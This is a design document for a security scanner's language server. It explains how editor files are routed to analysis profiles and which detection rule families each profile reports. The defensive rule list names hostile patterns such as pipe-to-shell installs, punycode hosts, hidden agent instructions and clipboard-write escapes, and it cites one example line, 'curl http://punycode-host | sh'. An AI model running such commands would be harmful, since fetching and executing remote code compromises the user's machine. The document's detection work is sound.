# LSP analysis profiles (M14) `tirith lsp` runs a **Language Server** over stdin/stdout so an editor extension can surface tirith diagnostics inline as you edit. The server reads only the editor's in-memory document text — it never re-reads the file from disk and never reaches the network. When a document is opened or changed, the server: 1. Derives the file path from the document URI and routes it to an **analysis profile** by file type (`profile_for_path`). An unrecognised file type gets **zero diagnostics** (the server clears any it had previously published). 2. Runs the engine over the buffer once per **scan context** the profile names (`contexts_for`), **unions** the findings, and applies the profile's **retain** allow-set (`retains`) — keeping only the diagnostics that make sense for that file type. The **Log file** profile is the one exception: a `.log` buffer is captured command output, so it is analyzed through the M7 **output firewall** (`engine::analyze_output`) instead — selected by `uses_output_analysis` — and the same `retains` allow-set is applied to the resulting findings. 3. Maps each retained finding to one LSP diagnostic (severity, message, the rule-id as `code`, source `tirith`, and a range — see below). `tirith lsp` adds **no new detection rules**. Every diagnostic it emits comes from a rule that already ships and is reachable today via the named context (or, for the Log file profile, via the `analyze_output` output firewall). ## Profiles | profile | which files | scan context(s) | rule families surfaced | | --------------------- | --------------------------------------------------------------------------- | ---------------------- | ------------------------------------------------------------ | | **AI-config** | `CLAUDE.md`, `AGENTS.md`, `.cursorrules`, anything under `.claude/` / `.cursor/`, MCP server configs | `FileScan` **and** `Paste` | See [AI-config rule families](#ai-config-rule-families) | | **Markdown install doc** | `README.md`, `INSTALL.md`, `INSTALLATION.md`, `getting-started.md`, and friends (a curated set — **not** every `.md`) | `Paste` | See [Markdown install doc rule families](#markdown-install-doc-rule-families) | | **Source code** | a curated source-extension set (`.rs`, `.py`, `.ts`, `.go`, `.sh`, …) | `Paste` | See [Source code rule families](#source-code-rule-families) | | **Log file** | the `.log` extension | `analyze_output` (output firewall) | See [Log file rule families](#log-file-rule-families) | ### AI-config rule families - hidden agent instructions - invisible/non-ASCII config smuggling - prompt-injection indicators - the terminal byte-scan deception family - **and** suspicious install URLs (homograph / punycode / plain-HTTP / `curl | sh`) embedded in the file ### Markdown install doc rule families - pipe-to-shell install lines - plain-HTTP / insecure-TLS / shortened URLs - homograph / punycode / raw-IP / look-alike-TLD hostnames ### Source code rule families - trojan-source homoglyphs (confusable / bidi / zero-width / Unicode-tags / variation-selector / invisible-whitespace / Hangul-filler) - hard-coded credentials ### Log file rule families A `.log` buffer is captured command output, so it is analyzed through the M7 **output firewall** (`engine::analyze_output`) — where the output-direction rules fire (they fire **only** there, never on the `engine::analyze` path the other profiles use): - OSC 52 clipboard writes (`output_osc52_clipboard_write`) - hidden text in terminal output (`output_hidden_text`) - fake shell prompts (`output_fake_prompt`) - OSC 8 hyperlink mismatch (`output_terminal_hyperlink_mismatch`) - terminal-title manipulation (`output_title_manipulation`) - mid-stream screen clears (`output_clear_screen`) - truncated escape sequences at end-of-buffer (`output_truncated_escape_sequence`) ### Routing precedence Routing is by filename first, then extension. AI-config wins over everything, so a `CLAUDE.md` is **AI-config**, not a Markdown install doc, and a file under `.cursor/rules/` is AI-config regardless of its extension. After AI-config come the curated install-doc filenames, then the source extensions, then `.log`. Any other file routes nowhere and gets no diagnostics — the safe default. ## Why AI-config analyzes in two contexts A `CLAUDE.md` is two threats at once, and the two live in **different branches** of the engine: - The **hidden-instruction / invisible-content** signals (`agent_instruction_hidden`, the `config_*` family, the byte-scan deception rules) fire **only** in the `FileScan` branch — `Exec` / `Paste` never invoke the file-content scanners. - A **suspicious install URL** in the file's body (e.g. a `curl http://punycode-host | sh` line an agent might fetch) fires the URL / transport / hostname rules, which run **only** in the `Exec` / `Paste` branch — `FileScan` surfaces nothing for them. Verified empirically: a plain suspicious URL in a `CLAUDE.md` body produces zero findings under `FileScan` alone, and a hidden-HTML-comment directive produces zero findings under `Paste` alone. So the AI-config profile is the one profile that analyzes in **both** contexts and unions the result. `Paste` (not `Exec`) is used for the URL half because a config file is pasted-like prose, not a typed command: `Paste` runs the URL + command-shape rules cleanly without `Exec`'s command-card prelude stripping and taint / blast-radius hot-path guards, and its tier-1 regex is a superset of `Exec`'s so nothing is gated out. The retain allow-set then drops the incidental `Paste`-only noise (a bare prose-line `pipe_to_interpreter`, `hidden_multiline`) and keeps the genuine AI-config signals plus the suspicious-URL families. ## Diagnostic ranges: precise vs whole-document LSP diagnostics carry a range (a start/end line:column). tirith findings do not all carry a position — most are whole-document facts (a URL was extracted, a command shape matched). So in v1: - A finding whose **evidence carries a byte offset** into the buffer gets a **precise range** at that position. Two evidence kinds carry byte offsets: `ByteSequence` (the bidi / zero-width / invisible-unicode byte-scan rules) and the first suspicious char of `HomoglyphAnalysis` (confusable detection). The byte offset is converted to an LSP `Position` whose `character` is a **UTF-16 code-unit** column (per the LSP spec — not a byte index and not a scalar-value index), and a one-unit span is highlighted so the squiggle is visible. This precise path covers the text/source confusable and byte-scan findings (`ByteSequence` / `HomoglyphAnalysis` with offsets, e.g. `ConfusableText`); the suspicious-URL and hostname-confusable findings (`ConfusableDomain`, `MixedScriptInLabel`, punycode) emit `Evidence::Url` / `HostComparison`, which carry no offset, so those are whole-document in v1. - **Every other finding is whole-document**: its range spans from the start of the buffer to its end. This is correct (the finding really is about the whole document) but coarse; a future revision can thread richer spans through the engine to tighten these. Severities map as: Critical / High → `Error`, Medium → `Warning`, Low → `Information`, Info → `Hint`. The `code` field is the rule-id string (e.g. `punycode_domain`) so an editor can group or filter by rule, and `source` is `tirith`. ## Limitations (v1) | limitation | detail | | ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **AI-config drift is out of scope** | The drift rules `ai_config_hidden_instruction_added` / `ai_config_tool_use_escalation` compare a file against a last-known-safe **snapshot** (`tirith ai diff`). They cannot fire on a single in-editor buffer with no snapshot to diff against, so the LSP never produces them (they remain in the AI-config retain set only so a future snapshot-aware client keeps them if present). | | **Whole-document ranges** | As above — findings without byte-offset evidence are reported against the whole document rather than a precise span. | | **No quick-fixes / code actions** | v1 publishes diagnostics only. It does not offer code actions, hovers, or completions. | > **Note:** Log-file diagnostics are **no longer** a v1 limitation. A `.log` > buffer is captured command output, so the server now analyzes it through the > M7 output firewall (`engine::analyze_output`) — the semantically-correct > analyzer for an output stream — where the `output_*` direction rules fire. See > [Log file rule families](#log-file-rule-families). ## Running it `tirith lsp` speaks the LSP wire protocol on stdio; run it from an editor's LSP client, not interactively. The server advertises full-text document sync and the `didOpen` / `didChange` / `didClose` notifications, so each change re-analyzes the complete new buffer.